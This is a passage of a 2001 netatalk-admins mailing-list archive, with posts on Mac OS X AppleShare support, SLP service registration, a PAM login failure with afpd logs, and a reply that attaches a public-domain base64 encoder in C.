bCBGcmVlbWFpbCBSU0EgMTk5OS45LjE2MB4XDTAwMDcyMTAyNDAzNFoXDTAxMDcyMTAyNDAz
NFowSjEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEnMCUGCSqGSIb3DQEJARYY
bWF0dGhld0BhcnRzLnVzeWQuZWR1LmF1MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDR
gAKbBhCplgqyhkR0Ykn4XOW0Py1G40orbP+B2KkACTMx4GxhHNg2h3nPiNC/P/9BZETw6NA+
dp/mxtN7XHmvRounnCL+9pjG3yWpw/ONNEpObjRSfujGe/jJvUF2vrAfecI/J5DKQ0/5gZMv
5fqfl4spYSPl+9vc2hKG7uvjgQIDAQABo1YwVDAjBgNVHREEHDAagRhtYXR0aGV3QGFydHMu
dXN5ZC5lZHUuYXUwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBSIq/Fgg2ZV9ORYx0YdwGG9
I9fDjDANBgkqhkiG9w0BAQQFAAOBgQBjjvY9P9hSktFnCJrkQSTKjh9ZBG9a58a0Hi+GvmyD
t9e29sRgxHN+Nwtsu2yUs8+xv1BemYzCnri+y91uJsfRTrm4+1oc/TV+lDGWqBud68wf4x29
/xaj1oQ2vWMy1Y64KZSWyxjt+vcU5/nyNF3DGz9XtXlxTI8dntzEWkyq/DCCAxQwggJ9oAMC
AQICAQswDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu
IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcx
KDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1Ro
YXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJl
ZW1haWxAdGhhd3RlLmNvbTAeFw05OTA5MTYxNDAxNDBaFw0wMTA5MTUxNDAxNDBaMIGUMQsw
CQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxs
ZTEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYG
A1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNjCBnzANBgkqhkiG9w0BAQEF
AAOBjQAwgYkCgYEAs2lal9TQFgt6tcVd6SGcI3LNEkxL937Px/vKciT0QlKsV5Xje2F6F4Tn
/XI5OJS06u1lp5IGXr3gZfYZu5R5dkw+uWhwdYQc9BF0ALwFLE8JAxcxzPRB1HLGpl3iiESw
iy7ETfHw1oU+bPOVlHiRfkDpnNGNFVeOwnPlMN5G9U8CAwEAAaM3MDUwEgYDVR0TAQH/BAgw
BgEB/wIBADAfBgNVHSMEGDAWgBRyScJzNMZV9At2coF+d/SH58ayDjANBgkqhkiG9w0BAQQF
AAOBgQBrxlnpMfrptuyxA9jfcnL+kWBI6sZV3XvwZ47GYXDnbcKlN9idtxcoVgWL3Vx1b8aR
kMZsZnET0BB8a5FvhuAhNi3B1+qyCa3PLW3Gg1Kb+7v+nIed/LfpdJLkXJeu/H6syg1vcnpn
LGtz9Yb5nfUAbvQdB86dnoJjKe+TCX5V3jGCAd8wggHbAgEBMIGcMIGUMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxsZTEPMA0GA1UE
ChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVy
c29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNgIDAvFLMAkGBSsOAwIaBQCggZkwGAYJKoZI
hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDEwMjE2MDUyMDU1WjAjBgkq
hkiG9w0BCQQxFgQUbDyqmJOd9WNxZAnwLmru5jXshe0wOgYJKoZIhvcNAQkPMS0wKzAKBggq
hkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwDQYJKoZIhvcNAQEBBQAE
gYB95lDU6BsvsF4jrcDB/aUkFjk9IpljA32OOFAPbkdJFwYDZeohyzhCl4rI9s45uQkpgxj/
QbTauZ/MUROFb3Xp/vPkQu3T/qnsULw5zDmN0fD+pK6CIUXYplJNXDmi1Qj9+Gnft/ND3HOz
N1oPDZKyMccMHXFqYldj7yZbJpUUjw==
--------------msB42FB5944255B21F6AF35980--


From netatalk.administrators-errors@umich.edu  Fri Feb 16 00:40:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA28152
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 16 Feb 2001 00:40:15 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA29699
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 16 Feb 2001 00:40:15 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA29686
	for netatalk.administrators-members@umich.edu; Fri, 16 Feb 2001 00:40:15 -0500 (EST)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA29575
	for <netatalk-admins@umich.edu>; Fri, 16 Feb 2001 00:40:10 -0500 (EST)
Received: from arts.usyd.edu.au (IDENT:matthew@whitestar.arts.usyd.edu.au [129.78.16.20])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id QAA20805
	for <netatalk-admins@umich.edu>; Fri, 16 Feb 2001 16:40:08 +1100 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3A8CBE41.883A8552@arts.usyd.edu.au>
Date: Fri, 16 Feb 2001 16:44:33 +1100
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-XFS i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: SLP (Service Location Protocol)
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms5B90BD8FF4009106946DBBEE"

This is a cryptographically signed message in MIME format.

--------------ms5B90BD8FF4009106946DBBEE
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


 I got our IP only Digital Server and another Linux NetAtalk server to
show up in the 'network browser' on a MacOSX 'client' machine using
'slpd' and 'static' entries. (See www.openslp.org).

 Apple obviously have a separate way of specifying the name from the
address, as the fqdn shows up in "Network Browser' and not the comment I
place in the skp.reg file, where MacOS9 at least is showing a name that
is NOT an address.

 Pity I cant actually do anything with the OSX client. All files 0k in
length.

 So even if netatalk doesn't directly use the SLP library and register
itself, it can be easily 'fudged' with static entries for slpd.

-- 
Matthew Geier			matthew@arts.usyd.edu.au
Arts IT Unit			+61 2 9351 4713
Sydney University
--------------ms5B90BD8FF4009106946DBBEE
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH4AYJKoZIhvcNAQcCoIIH0TCCB80CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BckwggKtMIICFqADAgECAgMC8UswDQYJKoZIhvcNAQEEBQAwgZQxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxFDASBgNVBAcTC0R1cmJhbnZpbGxlMQ8wDQYDVQQKEwZU
aGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25h
bCBGcmVlbWFpbCBSU0EgMTk5OS45LjE2MB4XDTAwMDcyMTAyNDAzNFoXDTAxMDcyMTAyNDAz
NFowSjEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEnMCUGCSqGSIb3DQEJARYY
bWF0dGhld0BhcnRzLnVzeWQuZWR1LmF1MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDR
gAKbBhCplgqyhkR0Ykn4XOW0Py1G40orbP+B2KkACTMx4GxhHNg2h3nPiNC/P/9BZETw6NA+
dp/mxtN7XHmvRounnCL+9pjG3yWpw/ONNEpObjRSfujGe/jJvUF2vrAfecI/J5DKQ0/5gZMv
5fqfl4spYSPl+9vc2hKG7uvjgQIDAQABo1YwVDAjBgNVHREEHDAagRhtYXR0aGV3QGFydHMu
dXN5ZC5lZHUuYXUwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBSIq/Fgg2ZV9ORYx0YdwGG9
I9fDjDANBgkqhkiG9w0BAQQFAAOBgQBjjvY9P9hSktFnCJrkQSTKjh9ZBG9a58a0Hi+GvmyD
t9e29sRgxHN+Nwtsu2yUs8+xv1BemYzCnri+y91uJsfRTrm4+1oc/TV+lDGWqBud68wf4x29
/xaj1oQ2vWMy1Y64KZSWyxjt+vcU5/nyNF3DGz9XtXlxTI8dntzEWkyq/DCCAxQwggJ9oAMC
AQICAQswDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu
IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcx
KDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1Ro
YXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJl
ZW1haWxAdGhhd3RlLmNvbTAeFw05OTA5MTYxNDAxNDBaFw0wMTA5MTUxNDAxNDBaMIGUMQsw
CQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxs
ZTEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYG
A1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNjCBnzANBgkqhkiG9w0BAQEF
AAOBjQAwgYkCgYEAs2lal9TQFgt6tcVd6SGcI3LNEkxL937Px/vKciT0QlKsV5Xje2F6F4Tn
/XI5OJS06u1lp5IGXr3gZfYZu5R5dkw+uWhwdYQc9BF0ALwFLE8JAxcxzPRB1HLGpl3iiESw
iy7ETfHw1oU+bPOVlHiRfkDpnNGNFVeOwnPlMN5G9U8CAwEAAaM3MDUwEgYDVR0TAQH/BAgw
BgEB/wIBADAfBgNVHSMEGDAWgBRyScJzNMZV9At2coF+d/SH58ayDjANBgkqhkiG9w0BAQQF
AAOBgQBrxlnpMfrptuyxA9jfcnL+kWBI6sZV3XvwZ47GYXDnbcKlN9idtxcoVgWL3Vx1b8aR
kMZsZnET0BB8a5FvhuAhNi3B1+qyCa3PLW3Gg1Kb+7v+nIed/LfpdJLkXJeu/H6syg1vcnpn
LGtz9Yb5nfUAbvQdB86dnoJjKe+TCX5V3jGCAd8wggHbAgEBMIGcMIGUMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxsZTEPMA0GA1UE
ChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVy
c29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNgIDAvFLMAkGBSsOAwIaBQCggZkwGAYJKoZI
hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDEwMjE2MDU0NDM0WjAjBgkq
hkiG9w0BCQQxFgQU4usyx+H7OZFHHdF1cL/c8XrAATQwOgYJKoZIhvcNAQkPMS0wKzAKBggq
hkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwDQYJKoZIhvcNAQEBBQAE
gYCczPVQnFWV8PmKGlQmGgANZBcaBWMC0riHndZQ4FBZHPK/B9gcrWxTWB93XbV1We7ojg+l
EU5owPctUosVg+4mDrQz8LGvAUS37rOISJz90Nrdv7FmE9Xo3sgP2aCqOVgnHCGEeGA7vxnU
B0GypSSxOwDzbz/5UuTVlFNRvbvT5w==
--------------ms5B90BD8FF4009106946DBBEE--


From netatalk.administrators-errors@umich.edu  Fri Feb 16 02:37:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA01914
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 16 Feb 2001 02:37:41 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA24935
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 16 Feb 2001 02:37:35 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA24899
	for netatalk.administrators-members@umich.edu; Fri, 16 Feb 2001 02:37:34 -0500 (EST)
Received: from mta6-rme.xtra.co.nz (mta6-rme.xtra.co.nz [203.96.92.19])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA24718
	for <netatalk-admins@umich.edu>; Fri, 16 Feb 2001 02:37:27 -0500 (EST)
Received: from [192.168.1.248] ([210.55.43.221]) by mta6-rme.xtra.co.nz
          with ESMTP
          id <20010216073733.NXIA6484737.mta6-rme.xtra.co.nz@[192.168.1.248]>
          for <netatalk-admins@umich.edu>; Fri, 16 Feb 2001 20:37:33 +1300
Mime-Version: 1.0
X-Sender: darena6@pop3.xtra.co.nz
Message-Id: <p05010400b6b27a2a1538@[192.168.1.248]>
In-Reply-To: <B6B1BDAA.6CEF%i@woj.com>
References: <B6B1BDAA.6CEF%i@woj.com>
Date: Fri, 16 Feb 2001 20:31:22 +1300
To: netatalk-admins@umich.edu
From: Marcus Radich <marcus@darena.co.nz>
Subject: Re: Apple, Netatalk, OS X
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

OK, here is a quick rundown using a "post public beta" build with a 
netatalk volume:

Positives:
- File sizes show up perfectly
- Volume size is correctly represented
- File mapping works well
- Classic (9.1) and OS X apps can save and open files directly off 
the netatalk volume
- Speed on 10BaseT was up to spec, 100BaseT not tested yet.
- Full support for Plain Text, Encrypted Transport logins and Keychains.

Issues:
- Volume header shows up with the "pen crossed out" symbol, showing a 
locked Vol. It isn't.
- Files saved from Quark 4.11 in classic didn't show up in the 
finder. They are there and can be opened directly from  Quark. 
Remounting the netatalk vol shows the files properly.
- Copying from the netatalk volume to a local volume icon presents a 
-39 error. Copy to a folder *inside* the local volume works fine.

Summary:
Don't base your evaluations on the Public Beta - appleshare support 
in OS X is improving build by build. Remember, this is still beta 
software! As OS X moves toward a Developer Beta (apparently 10 days 
away), we should start looking closely then at the support, it will 
be closer to the final than the current builds.

mrad01
-- 
========================================================

"Always ask the question, never assume the answer."
		Marcus Radich 1999

========================================================

From netatalk.administrators-errors@umich.edu  Fri Feb 16 04:24:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA04018
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 16 Feb 2001 04:24:15 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA09020
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 16 Feb 2001 04:24:08 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA09003
	for netatalk.administrators-members@umich.edu; Fri, 16 Feb 2001 04:24:08 -0500 (EST)
Received: from tbsun.text-bild.de (fuerth.dvs.org [212.114.66.66] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA08958
	for <netatalk-admins@umich.edu>; Fri, 16 Feb 2001 04:24:06 -0500 (EST)
Received: from text-bild.de ([192.168.100.31]) by tbsun.text-bild.de
          (Post.Office MTA v3.5.3 release 223 ID# 127-57510U100L2S100V35)
          with ESMTP id de for <netatalk-admins@umich.edu>;
          Fri, 16 Feb 2001 10:30:15 +0100
Message-ID: <3A8CF1BB.94904298@text-bild.de>
Date: Fri, 16 Feb 2001 10:24:12 +0100
From: anatol.ulrich@text-bild.de (Anatol Ulrich)
Reply-To: Anatol.Ulrich@text-bild.de
Organization: Text & Bild GmbH
X-Mailer: Mozilla 4.72 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: netatalk does not like me anymore
Content-Type: text/plain; charset=iso-8859-1; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 8bit

hi there,
after compiling & installing the netatalk version from
pre-asun2.1.4-39_test.tar.gz, we just can“t seem to authorize on the
server anymore.
It always confronts us with a "wrong password" message, and I really got
no idea what to do. I enabled PAM support as well as shadow in the
Makefile (maybe a bit redundant, but I wanted to make sure there would
be some way to verify the supplied password)
The logfile after restart looks like this:

Feb 16 02:30:12 tblinux1 papd[22627]: restart (1.4b2+asun2.1.4)
Feb 16 02:30:18 tblinux1 afpd[22630]: tblinux1:AFPServer@* started on
2.93:128 (1.4b2+asun2.1.4)
Feb 16 02:30:18 tblinux1 afpd[22630]: uam: uams_guest.so loaded
Feb 16 02:30:18 tblinux1 afpd[22630]: uam: uams_clrtxt.so loaded
Feb 16 02:30:19 tblinux1 afpd[22630]: uam: uams_dhx.so loaded
Feb 16 02:30:19 tblinux1 afpd[22630]: uam: "DHCAST128" available
Feb 16 02:30:19 tblinux1 afpd[22630]: uam: "Cleartxt Passwrd" available
Feb 16 02:30:19 tblinux1 afpd[22630]: uam: "No User Authent" available
Feb 16 02:30:22 tblinux1 afpd[22631]: session from 1.125:249 on 2.93:129

Feb 16 02:30:22 tblinux1 afpd[22631]: cleartext login: mac_21
Feb 16 02:30:32 tblinux1 afpd[22631]: atp_rresp: Connection timed out
Feb 16 02:30:42 tblinux1 afpd[22631]: afp_die: asp_shutdown: Connection
timed out
Feb 16 02:30:42 tblinux1 afpd[22631]: 0.04KB read, 5.18KB written
Feb 16 02:30:42 tblinux1 afpd[22630]: server_child[0] 22631 done


From netatalk.administrators-errors@umich.edu  Fri Feb 16 07:45:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA08279
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 16 Feb 2001 07:45:19 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA23678
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 16 Feb 2001 07:45:19 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA23666
	for netatalk.administrators-members@umich.edu; Fri, 16 Feb 2001 07:45:19 -0500 (EST)
Received: from jax.cl.msu.edu (jax.cl.msu.edu [35.8.1.151])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA23650
	for <netatalk-admins@umich.edu>; Fri, 16 Feb 2001 07:45:18 -0500 (EST)
Received: by jax.cl.msu.edu (8.9.3+Sun/8.9.1) id HAA12464
	for netatalk-admins@umich.edu; Fri, 16 Feb 2001 07:44:22 -0500 (EST)
From: Steve Devine <sdevine@msu.edu>
Reply-To: sdevine@msu.edu
Organization: Michigan State University
To: netatalk-admins@umich.edu
Subject: unsubscribe
Date: Fri, 16 Feb 2001 07:43:55 -0500
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
MIME-Version: 1.0
Message-Id: <01021607442200.12462@jax>
Content-Transfer-Encoding: 8bit

unsubscribe

From netatalk.administrators-errors@umich.edu  Fri Feb 16 12:08:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA14939
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 16 Feb 2001 12:08:52 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA10080
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 16 Feb 2001 12:08:49 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA10054
	for netatalk.administrators-members@umich.edu; Fri, 16 Feb 2001 12:08:48 -0500 (EST)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA09866
	for <netatalk-admins@umich.edu>; Fri, 16 Feb 2001 12:08:42 -0500 (EST)
Received: (qmail 4428 invoked by uid 500); 16 Feb 2001 17:08:39 -0000
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="+/5sDCFnbF"
Content-Transfer-Encoding: 7bit
Message-ID: <14989.24215.245217.659577@h0050da615e79.ne.mediaone.net>
Date: Fri, 16 Feb 2001 12:08:39 -0500
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: "Chris Garrigues" <cwg-dated-e7ea9493218076d8@deepeddy.com>
Cc: netatalk-admins@umich.edu
Subject: Wrapping MIME around an appledouble file
In-Reply-To: <2195.982256845@deepeddy.com>
References: <2195.982256845@deepeddy.com>
X-Mailer: VM 6.89 under Emacs 20.7.1


--+/5sDCFnbF
Content-Type: text/plain; charset=us-ascii
Content-Description: message body text
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

   From: "Chris Garrigues" <cwg-dated-e7ea9493218076d8@deepeddy.com>
   Date: Thu, 15 Feb 2001 11:07:25 -0600

   I need to grab a file saved on a server using netatalk from a perl CGI and 
   transmit it to the user.

   So far, all my attempts do is to crash netscape with an error of type
   3.  This makes it kinda hard to debug.

   Has anybody done this?  Is there anything special I have to do to the data?

My guess is that the .AppleDouble part is blowing Netscape's poor little
mind, since it is actually binary data rather than 8-bit text.  I would
try sending it using base64 encoding; you can pipe it through the
attached helper app, courtesy of the vm mail reader (version 6.89,
(http://www.wonderworks.com/vm).

   Deciding how to encode the data fork might be trickier . . . base64
should be sufficient, though probably overkill in many cases.

   And then there's the problem of saving these properly on the
receiving end.  Has anybody ever heard of a MIME standard for Mac files?
Failing that, you might want to try sending a Mac file from a Mac, and
see how Netscape (or whatever) encodes the data fork (if at all).  If it
does, and the format is not too hard to generate, that might be a better
solution.

					-- Bob Rogers



--+/5sDCFnbF
Content-Type: text/plain
Content-Description: base64-encode.c source
Content-Disposition: inline;
	filename="base64-encode.c"
Content-Transfer-Encoding: 7bit

/* public domain */

/*
 * arbitrary data on stdin -> BASE64 data on stdout
 *
 * UNIX's newline convention is used, i.e. one ASCII control-j (10 decimal).
 */

#include <stdio.h>

#ifdef _WIN32
#ifndef WIN32
#define WIN32
#endif
#endif

#ifdef WIN32
#include <io.h>
#include <fcntl.h>
#endif

unsigned char alphabet[64] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

int
main()
{
    int cols, bits, c, char_count;

#ifdef WIN32
    _setmode( _fileno(stdin), _O_BINARY);
#endif

    char_count = 0;
    bits = 0;
    cols = 0;
    while ((c = getchar()) != EOF) {
	if (c > 255) {
	    fprintf(stderr, "encountered char > 255 (decimal %d)", c);
	    exit(1);
	}
	bits += c;
	char_count++;
	if (char_count == 3) {
	    putchar(alphabet[bits >> 18]);
	    putchar(alphabet[(bits >> 12) & 0x3f]);
	    putchar(alphabet[(bits >> 6) & 0x3f]);
	    putchar(alphabet[bits & 0x3f]);
	    cols += 4;
	    if (cols == 72) {
		putchar('\n');
		cols = 0;
	    }
	    bits = 0;
	    char_count = 0;
	} else {
	    bits <<= 8;
	}
    }
    if (char_count != 0) {
	bits <<= 16 - (8 * char_count);
	putchar(alphabet[bits >> 18]);
	putchar(alphabet[(bits >> 12) & 0x3f]);
	if (char_count == 1) {
	    putchar('=');
	    putchar('=');
	} else {
	    putchar(alphabet[(bits >> 6) & 0x3f]);
	    putchar('=');
	}
	if (cols > 0)
	  putchar('\n');
    }

    exit(0);
}

--+/5sDCFnbF--

From netatalk.administrators-errors@umich.edu  Fri Feb 16 15:37:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA21808
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 16 Feb 2001 15:37:30 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA01708
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 16 Feb 2001 15:37:30 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA01701
	for netatalk.administrators-members@umich.edu; Fri, 16 Feb 2001 15:37:30 -0500 (EST)
Received: from chmls20.mediaone.net (chmls20.mediaone.net [24.147.1.156])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA01671
	for <netatalk-admins@umich.edu>; Fri, 16 Feb 2001 15:37:28 -0500 (EST)
Received: from brandeis.edu (h00a04b0c2aa5.ne.mediaone.net [24.218.255.161])
	by chmls20.mediaone.net (8.11.1/8.11.1) with ESMTP id f1GKbQ621694;
	Fri, 16 Feb 2001 15:37:26 -0500 (EST)
Message-ID: <3A8D8F86.C8BC1DF0@brandeis.edu>
Date: Fri, 16 Feb 2001 15:47:04 -0500
From: SF Karel <karelsf@brandeis.edu>
Reply-To: karelsf@brandeis.edu
X-Mailer: Mozilla 4.76 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
CC: Anatol.Ulrich@text-bild.de
Subject: Re: netatalk does not like me anymore
References: <3A8CF1BB.94904298@text-bild.de>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

You don't say what platform you're running on (I'd guess linux, but what distro?)

Odds are that you don't want to compile with shadow support, just use
PAM if the distribution uses it.


Anatol Ulrich wrote:
> 
> hi there,
> after compiling & installing the netatalk version from
> pre-asun2.1.4-39_test.tar.gz, we just can“t seem to authorize on the
> server anymore.
> It always confronts us with a "wrong password" message, and I really got
> no idea what to do. I enabled PAM support as well as shadow in the
> Makefile (maybe a bit redundant, but I wanted to make sure there would
> be some way to verify the supplied password)

From netatalk.administrators-errors@umich.edu  Sat Feb 17 02:29:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA06355
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 17 Feb 2001 02:29:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA13911
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 17 Feb 2001 02:29:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA13896
	for netatalk.administrators-members@umich.edu; Sat, 17 Feb 2001 02:29:10 -0500 (EST)
Received: from icompute.com ([209.46.8.66])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA13877
	for <netatalk-admins@umich.edu>; Sat, 17 Feb 2001 02:29:09 -0500 (EST)
Received: from [209.46.8.69] (209.46.8.69) by icompute.com with ESMTP (Eudora
 Internet Mail Server 2.2.2); Sat, 17 Feb 2001 01:29:11 -0600
X-Sender: donlee_ppc (Unverified)
Message-Id: <v03130300b6b3d7a0ee92@[209.46.8.69]>
In-Reply-To: <p04330100b6b0b3ce84d0@[128.148.176.25]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sat, 17 Feb 2001 01:28:22 -0600
To: netatalk-admins@umich.edu
From: Donald Lee <donlee_nat@icompute.com>
Subject: Re: How to fix CRLF stuff...

I want to counsel caution on this feature.

One vital design element is simplicity, because data integrity
is pretty important, and testing is hard.  Complexity invariably
introduces errors, both in the code and in operation.

The schemes that I am seeing pass by are not simple and elegant.
They introduce multiple passes on the data, special flag bits, special
